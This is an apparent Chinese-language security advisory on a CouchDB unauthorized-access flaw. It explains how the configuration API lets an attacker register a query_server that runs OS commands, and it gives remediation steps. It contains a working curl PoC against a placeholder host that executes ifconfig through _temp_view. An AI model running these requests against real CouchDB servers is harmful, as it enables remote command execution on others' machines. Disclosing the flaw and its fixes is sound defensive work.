0x00 前言


5月16日阿里云盾攻防对抗团队从外部渠道获知CouchDB数据库存在未授权访问漏洞(在配置不正确的情况下)。经过测试,云盾团队率先发现利用该未授权访问漏洞不仅会造成数据的丢失和泄露,甚至可执行任意系统命令。云盾安全专家团队第一时间完成了漏洞上报、安全评级,并通知了所有可能受影响的用户。下面将对该漏洞的出处和技术细节做详细解释。

http://static.hx99.net/static/drops/papers-16030.html

0x01 漏洞的来龙去脉


CouchDB 是一个开源的面向文档的数据库管理系统,可以通过 RESTful JavaScript Object Notation (JSON) API 访问。CouchDB会默认会在5984端口开放Restful的API接口,用于数据库的管理功能。

那么,问题出在哪呢?翻阅官方描述会发现,CouchDB中有一个Query_Server的配置项,在官方文档中是这么描述的:

CouchDB delegates computation of design documents functions to external query servers. The external query server is a special OS process which communicates with CouchDB over standard input/output using a very simple line-based protocol with JSON messages.

直白点说,就是CouchDB允许用户指定一个二进制程序或者脚本,与CouchDB进行数据交互和处理,query_server在配置文件local.ini中的格式:

[query_servers]
LANGUAGE = PATH ARGS

默认情况下,配置文件中已经设置了两个query_servers:

[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js

可以看到,CouchDB在query_server中引入了外部的二进制程序来执行命令,如果我们可以更改这个配置,那么就可以利用数据库来执行命令了,但是这个配置是在local.ini文件中的,如何控制呢?

继续读官方的文档,发现了一个有意思的功能,CouchDB提供了一个API接口用来更改自身的配置,并把修改后的结果保存到配置文件中:

The CouchDB Server Configuration API provide an interface to query and update the various configuration values within a running CouchDB instance

也就是说,除了local.ini的配置文件,CouchDB允许通过自身提供的Restful API接口动态修改配置属性。结合以上两点,我们可以通过一个未授权访问的CouchDB,通过修改其query_server配置,来执行系统命令。

0x02 漏洞的POC


新增query_server配置,这里执行ifconfig命令

#!shell
curl -X PUT 'http://1.1.1.1:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'

新建一个临时表,插入一条记录

#!shell
curl -X PUT 'http://1.1.1.1:5984/vultest'
curl -X PUT 'http://1.1.1.1:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

调用query_server处理数据

#!shell
curl -X POST 'http://1.1.1.1:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

执行后,可以看到,指定的命令已经成功执行:

至于如何回显执行结果,各位可以动动脑筋,欢迎互动。

0x03 漏洞修复建议:


1、指定CouchDB绑定的IP (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问CouchDB。

2、设置访问密码 (需要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。

附:参考链接:

  • http://blog.rot13.org/2010/11/triggers-in-couchdb-from-queue-to-external-command-execution.html
  • http://docs.couchdb.org/en/1.6.1/api/server/configuration.html#api-config
  • http://docs.couchdb.org/en/1.6.1/intro/api.html
  • http://docs.couchdb.org/en/1.6.1/config/query-servers.html

利用CouchDB未授权访问漏洞执行任意系统命令相关推荐

  1. CouchDB未授权访问漏洞记录(端口:5984、6984,CVE-2017-12635,CVE-2017-12636)复现失败

    复现exp失败 漏洞简介以及危害 Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库".它是一个使用JSON作为存储格式,JavaScript ...

  2. Redis未授权访问漏洞的重现与利用

    前言: 最近配置openvas的时候安装了redis,听说曾经曝出过一个未授权访问漏洞,便找了一下相关资料想自己动手复现一下漏洞的利用过程,当然所有的攻击性操作都是在虚拟机上完成的,本文所有的操作是在 ...

  3. Redis未授权访问漏洞的利用及防护

    什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP访问等,这样会使Redis服务完全暴露 ...

  4. 未授权访问漏洞-Redis未授权访问漏洞

    文章目录 未授权概述 常见未授权访问漏洞 Redis未授权访问 Redis简介 应用场景 Redis 架构 漏洞发现 端口 端口探测 Redis常用命令 Redis历史漏洞 Redis未授权访问 Re ...

  5. Elasticsearch服务器存在未授权访问漏洞

    Elasticsearch服务器存在未授权访问漏洞 前言 事件起因是看到一篇文章说最近两周国外某黑客利用ES未授权访问漏洞攻击了全球15000万台Elasticsearch服务器(

  6. ZooKeeper 未授权访问漏洞利用

    点击"仙网攻城狮"关注我们哦~ 不当想研发的渗透人不是好运维 让我们每天进步一点点 简介 ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,它是一个为分布式应用提 ...

  7. MongoDB 未授权访问漏洞利用

    点击"仙网攻城狮"关注我们哦~ 不当想研发的渗透人不是好运维 让我们每天进步一点点 简介 MongoDB是一个基于分布式文件存储的数据库,是一个介于关系数据库和非关系数据库之间的产 ...

  8. redis未授权访问漏洞利用

    redis是一个key-value存储系统,拥有强大的功能,目前普及率很高,redis是用ansic语言编写,支持网络.可基于内存亦可持久化的日志型.Key-Value数据库,并提供多种语言的APL, ...

  9. 二十八种未授权访问漏洞合集(暂时最全)

    目录 0x01 未授权漏洞预览 0x02 Active MQ 未授权访问 0x03 Atlassian Crowd 未授权访问 0x04 CouchDB 未授权访问 0x05 Docker 未授权访问 ...

  10. 【应急类漏洞】————1、未授权访问漏洞总结

    前言 2018年5月,比特币勒索病毒 WannaCry 席卷全球,国内众多机构部门计算机系统瘫痪.根据之前应急响应的案例分析,以及一些安全报告统计,目前大部分的勒索病毒均利用未授权访问等通用漏洞进行植 ...

最新文章

  1. 属性配置文件详解(2)(十七)
  2. 一个关于HashCode 的追问!
  3. 常见linux命令使用方法(二)
  4. b站编程课程资源汇总
  5. 产业兴乡村稳天下安 农民丰收节·林裕豪:谋定乡村振兴基石
  6. NEO智能合约开发(一)不可能完成的任务
  7. Django框架(8.Django中的模板文件的使用和模板变量的简单使用)
  8. 一次挖掘SRC漏洞 - 从0到有
  9. 前端后台管理系统梳理
  10. 华为云媒体査勇:华为云在视频AI转码领域的技术实践
  11. Linq学习比较第2篇
  12. 联想电脑计算机怎么设置十进制,如何在win10系统中设置电池充电阈值
  13. linux 安装onos 记录
  14. winform自定义消息提示框定时自动关闭
  15. 华为数通ensp命令(三)
  16. 什么是用户实体行为分析(UEBA)
  17. 安装YApi 接口管理平台
  18. 支付宝支付学习:蚂蚁沙箱环境是什么?怎样使用蚂蚁沙箱环境?
  19. Labview项目---制作复利计算器
  20. 希腊字母发音对照表(发音即对应latex表达式)

热门文章

  1. 2021年第4季度记账理财应用监测,头部集聚加强,领跑者转型发展
  2. 费马引理、罗尔定理、拉格朗日中值定理、柯西中值定理
  3. 夜雨数竞笔记-中值问题(5)-泰勒中值定理
  4. Sensible, not sensitive; simply complicated; predictably irrational; kindly demanding; constructivel
  5. 不知道这些你就OUT了,2019年最常见又实用的Android开发面试题
  6. 以太坊Whisper协议
  7. Windows API ShowWindow和UpdateWindow
  8. python爬取文库,python爬取文库ppt的简单实现
  9. win10之缺少一个或者多个协议(只能上qq不能上网)
  10. C++练习实例———控制台实现坦克大战小游戏